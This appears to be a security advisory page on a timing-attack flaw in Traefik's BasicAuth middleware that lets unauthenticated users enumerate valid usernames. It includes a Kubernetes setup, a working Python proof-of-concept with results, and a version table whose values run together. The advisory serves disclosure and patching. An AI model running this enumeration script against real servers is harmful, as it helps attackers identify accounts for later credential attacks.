| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/traefik/traefik | ≤ 1.7.34all versions | |
| github.com/traefik/traefik/v2 | < 2.11.41 | 2.11.41 |
| github.com/traefik/traefik/v3 | ≥ 3.7.0-ea.1, < 3.7.0-ea.2< 3.6.11 | 3.7.0-ea.23.6.11 |
| traefik | = 3.7.0≥ 3.0.0, ≤ 3.6.11< 2.11.41 | 2.11.41 |
There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.
When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.
The vulnerability exists in the BasicAuth middleware implementation. When validating credentials:
This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.
Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.
Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.
Environment:
Configuration:
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
name: basicauth
namespace: traefik-poc
spec:
basicAuth:
secret: basic-auth-secret
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test-basicauth
annotations:
traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd
spec:
ingressClassName: traefik
rules:
- http:
paths:
- path: /protected
pathType: Prefix
backend:
service:
name: whoami
port:
number: 80
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freePoC Script:
#!/usr/bin/env python3
import requests
import time
import statistics
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected"
TEST_USERS = ["admin", "root", "test", "nonexistent12345"]
SAMPLES = 20
def measure_time(username, password="wrongpassword"):
times = []
for _ in range(SAMPLES):
start = time.perf_counter()
requests.get(TARGET, auth=(username, password), timeout=5)
elapsed = time.perf_counter() - start
times.append(elapsed)
return statistics.median(times)
print(f"Target: {TARGET}")
print(f"Samples per user: {SAMPLES}\n")
for user in TEST_USERS:
median = measure_time(user)
if median > 0.05: # bcrypt threshold
status = "[+] EXISTS (slow - bcrypt verification)"
else:
status = "[-] NOT FOUND (fast - immediate return)"
print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results:
Target: http://10.10.10.7:30080/protected
Samples per user: 20
[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s
[-] NOT FOUND (fast - immediate return): root | median=0.0006s
[-] NOT FOUND (fast - immediate return): test | median=0.0006s
[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s
Timing difference ratio: 298.0x